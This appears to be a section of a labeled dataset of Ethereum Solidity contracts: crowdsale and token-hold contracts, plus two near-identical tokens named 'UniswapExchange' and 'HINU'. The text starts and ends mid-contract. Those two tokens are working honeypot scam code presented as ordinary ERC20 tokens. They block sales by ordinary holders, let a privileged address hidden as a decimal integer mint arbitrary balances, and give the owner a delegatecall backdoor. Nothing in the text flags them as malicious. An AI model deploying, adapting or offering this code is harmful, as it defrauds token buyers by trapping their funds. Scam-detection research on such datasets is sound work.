restricted = 0x1e129862b37Fe605Ef2099022F497caab7Db194c;
manager = msg.sender;
restrictedPercent = 1200;
ETHUSD = 70000;
start = now;
preIcoEnd = 1546300800;
preICOhardcap = 42000;
hardcapUSD = 500000000;
collectedFunds = 0;
pause = false;
}
modifier saleIsOn() {
require(now > start && now < preIcoEnd);
require(pause!=true);
_;
}
modifier isUnderHardCap() {
require(token.totalSupply() < preICOhardcap);
require(collectedFunds < hardcapUSD);
_;
}
function finishMinting() public {
require(msg.sender == manager);
uint issuedTokenSupply = token.totalSupply();
uint restrictedTokens = issuedTokenSupply.mul(restrictedPercent).div(10000);
token.mint(restricted, restrictedTokens);
token.transferOwnership(restricted);
}
function createTokens() isUnderHardCap saleIsOn payable {
require(msg.value > 0);
uint256 totalSupply = token.totalSupply();
uint256 numTokens = 0;
uint256 summ1 = 1800000;
uint256 summ2 = 3300000;
uint256 price1 = 18000;
uint256 price2 = 15000;
uint256 price3 = 12000;
uint256 usdValue = msg.value.mul(ETHUSD).div(1000000000000000000);
uint256 spendMoney = 0;
uint256 tokenRest = 0;
uint256 rest = 0;
tokenRest = preICOhardcap.sub(totalSupply);
require(tokenRest > 0);
if(usdValue>summ2 && tokenRest > 200 ){
numTokens = (usdValue.sub(summ2)).div(price3).add(200);
if(numTokens > tokenRest)
numTokens = tokenRest;
spendMoney = summ2.add((numTokens.sub(200)).mul(price3));
}else if(usdValue>summ1 && tokenRest > 100 ) {
numTokens = (usdValue.sub(summ1)).div(price2).add(100);
if(numTokens > tokenRest)
numTokens = tokenRest;
spendMoney = summ1.add((numTokens.sub(100)).mul(price2));
}else {
numTokens = usdValue.div(price1);
if(numTokens > tokenRest)
numTokens = tokenRest;
spendMoney = numTokens.mul(price1);
}
rest = (usdValue.sub(spendMoney)).mul(1000000000000000000).div(ETHUSD);
msg.sender.transfer(rest);
if(rest<msg.value){
multisig.transfer(msg.value.sub(rest));
collectedFunds = collectedFunds + msg.value.sub(rest).mul(ETHUSD).div(1000000000000000000);
}
token.mint(msg.sender, numTokens);
}
function() external payable {
createTokens();
}
function mint(address _to, uint _value) {
require(msg.sender == manager);
token.mint(_to, _value);
}
function setETHUSD( uint256 _newPrice ) {
require(msg.sender == manager);
ETHUSD = _newPrice;
}
function setPause( bool _newPause ) {
require(msg.sender == manager);
pause = _newPause;
}
} | 1 | 3,272 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 608 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract OpportyToken is StandardToken {
string public constant name = "OpportyToken";
string public constant symbol = "OPP";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
function OpportyToken() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract HoldSaleContract is Ownable {
using SafeMath for uint256;
OpportyToken public OppToken;
struct Holder {
bool isActive;
uint tokens;
uint holdPeriodTimestamp;
bool withdrawed;
}
mapping(address => Holder) public holderList;
mapping(uint => address) private holderIndexes;
mapping (uint => address) private assetOwners;
mapping (address => uint) private assetOwnersIndex;
uint private assetOwnersIndexes;
uint private holderIndex;
uint private holderWithdrawIndex;
uint private tokenAddHold;
uint private tokenWithdrawHold;
event TokensTransfered(address contributor , uint amount);
event Hold(address sender, address contributor, uint amount, uint holdPeriod);
modifier onlyAssetsOwners() {
require(assetOwnersIndex[msg.sender] > 0);
_;
}
function HoldSaleContract(address _OppToken) public {
OppToken = OpportyToken(_OppToken);
addAssetsOwner(msg.sender);
}
function addHolder(address holder, uint tokens, uint timest) onlyAssetsOwners external {
if (holderList[holder].isActive == false) {
holderList[holder].isActive = true;
holderList[holder].tokens = tokens;
holderList[holder].holdPeriodTimestamp = timest;
holderIndexes[holderIndex] = holder;
holderIndex++;
} else {
holderList[holder].tokens += tokens;
holderList[holder].holdPeriodTimestamp = timest;
}
tokenAddHold += tokens;
Hold(msg.sender, holder, tokens, timest);
}
function getBalance() public constant returns (uint) {
return OppToken.balanceOf(this);
}
function unlockTokens() external {
address contributor = msg.sender;
if (holderList[contributor].isActive && !holderList[contributor].withdrawed) {
if (now >= holderList[contributor].holdPeriodTimestamp) {
if ( OppToken.transfer( msg.sender, holderList[contributor].tokens ) ) {
TokensTransfered(contributor, holderList[contributor].tokens);
tokenWithdrawHold += holderList[contributor].tokens;
holderList[contributor].withdrawed = true;
holderWithdrawIndex++;
}
} else {
revert();
}
} else {
revert();
}
}
function addAssetsOwner(address _owner) public onlyOwner {
assetOwnersIndexes++;
assetOwners[assetOwnersIndexes] = _owner;
assetOwnersIndex[_owner] = assetOwnersIndexes;
}
function removeAssetsOwner(address _owner) public onlyOwner {
uint index = assetOwnersIndex[_owner];
delete assetOwnersIndex[_owner];
delete assetOwners[index];
assetOwnersIndexes--;
}
function getAssetsOwners(uint _index) onlyOwner public constant returns (address) {
return assetOwners[_index];
}
function getOverTokens() public onlyOwner {
require(getBalance() > (tokenAddHold - tokenWithdrawHold));
uint balance = getBalance() - (tokenAddHold - tokenWithdrawHold);
if(balance > 0) {
if(OppToken.transfer(msg.sender, balance)) {
TokensTransfered(msg.sender, balance);
}
}
}
function getTokenAddHold() onlyOwner public constant returns (uint) {
return tokenAddHold;
}
function getTokenWithdrawHold() onlyOwner public constant returns (uint) {
return tokenWithdrawHold;
}
function getHolderIndex() onlyOwner public constant returns (uint) {
return holderIndex;
}
function getHolderWithdrawIndex() onlyOwner public constant returns (uint) {
return holderWithdrawIndex;
}
}
contract TokenSale is Pausable {
using SafeMath for uint256;
OpportyToken public token;
HoldSaleContract public holdContract;
enum SaleState { NEW, SALE, ENDED }
SaleState public state;
uint public endDate;
uint public unholdDate;
uint public minimalContribution;
address private wallet;
uint private ethRaised;
uint private price;
uint8 private bonus;
uint private tokenRaised;
bool public tokensTransferredToHold;
event SaleStarted(uint blockNumber);
event SaleEnded(uint blockNumber);
event FundTransfered(address contrib, uint amount);
event WithdrawedEthToWallet(uint amount);
event ManualChangeEndDate(uint beforeDate, uint afterDate);
event ManualChangeUnholdDate(uint beforeDate, uint afterDate);
event TokensTransferedToHold(address hold, uint amount);
event AddedToHolder(address sender, uint tokenAmount, uint holdTimestamp);
event ChangeMinAmount(uint oldMinAmount, uint minAmount);
mapping (uint => address) private assetOwners;
mapping (address => uint) private assetOwnersIndex;
uint private assetOwnersIndexes;
modifier onlyAssetsOwners() {
require(assetOwnersIndex[msg.sender] > 0);
_;
}
function TokenSale(address tokenAddress, address walletAddress, uint end, uint endHoldDate, address holdCont) public {
token = OpportyToken(tokenAddress);
state = SaleState.NEW;
endDate = end;
unholdDate = endHoldDate;
price = 0.0002 * 1 ether;
wallet = walletAddress;
minimalContribution = 0.1 * 1 ether;
bonus = 0;
holdContract = HoldSaleContract(holdCont);
addAssetsOwner(msg.sender);
}
function() whenNotPaused public payable {
require(state == SaleState.SALE);
require(msg.value >= minimalContribution);
if (now > endDate) {
state = SaleState.ENDED;
SaleEnded(block.number);
msg.sender.transfer(msg.value);
return ;
}
ethRaised += msg.value;
uint tokenAmount = msg.value.div(price);
tokenAmount += tokenAmount.mul(bonus).div(100);
tokenAmount *= 1 ether;
tokenRaised += tokenAmount;
holdContract.addHolder(msg.sender, tokenAmount, unholdDate);
AddedToHolder(msg.sender, tokenAmount, unholdDate);
FundTransfered(msg.sender, msg.value);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function getBalanceContract() view internal returns (uint) {
return token.balanceOf(this);
}
function startSale() public onlyOwner {
require(state == SaleState.NEW);
state = SaleState.SALE;
SaleStarted(block.number);
}
function endSale() public onlyOwner {
require(state == SaleState.SALE);
state = SaleState.ENDED;
SaleEnded(block.number);
}
function sendTokensToHold() public onlyOwner {
require(state == SaleState.ENDED);
require(getBalanceContract() >= tokenRaised);
if (token.transfer(holdContract, tokenRaised )) {
tokensTransferredToHold = true;
TokensTransferedToHold(holdContract, tokenRaised );
}
}
function getTokensBack() public onlyOwner {
require(state == SaleState.ENDED);
require(tokensTransferredToHold == true);
uint balance;
balance = getBalanceContract() ;
token.transfer(msg.sender, balance);
}
function withdrawEth() public {
require(this.balance != 0);
require(state == SaleState.ENDED);
require(msg.sender == wallet);
require(tokensTransferredToHold == true);
uint bal = this.balance;
wallet.transfer(bal);
WithdrawedEthToWallet(bal);
}
function setUnholdDate(uint date) public onlyOwner {
require(state == SaleState.NEW || state == SaleState.SALE);
uint oldEndDate = unholdDate;
unholdDate = date;
ManualChangeUnholdDate(oldEndDate, date);
}
function setEndDate(uint date) public onlyOwner {
require(state == SaleState.NEW || state == SaleState.SALE);
require(date > now);
uint oldEndDate = endDate;
endDate = date;
ManualChangeEndDate(oldEndDate, date);
}
function setMinimalContribution(uint minimumAmount) public onlyOwner {
uint oldMinAmount = minimalContribution;
minimalContribution = minimumAmount;
ChangeMinAmount(oldMinAmount, minimalContribution);
}
function setBonus(uint8 newBonus) public onlyOwner {
require(newBonus >= 0);
bonus = newBonus;
}
function addAssetsOwner(address _owner) public onlyOwner {
assetOwnersIndexes++;
assetOwners[assetOwnersIndexes] = _owner;
assetOwnersIndex[_owner] = assetOwnersIndexes;
}
function removeAssetsOwner(address _owner) public onlyOwner {
uint index = assetOwnersIndex[_owner];
delete assetOwnersIndex[_owner];
delete assetOwners[index];
assetOwnersIndexes--;
}
function getAssetsOwners(uint _index) onlyOwner public constant returns (address) {
return assetOwners[_index];
}
function getTokenBalance() onlyAssetsOwners public constant returns (uint) {
return token.balanceOf(this);
}
function getEthRaised() onlyAssetsOwners public constant returns (uint) {
return ethRaised;
}
function getBonus() onlyAssetsOwners public constant returns (uint) {
return bonus;
}
function getTokenRaised() onlyAssetsOwners public constant returns (uint) {
return tokenRaised;
}
} | 1 | 3,582 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract HINU {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,930 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
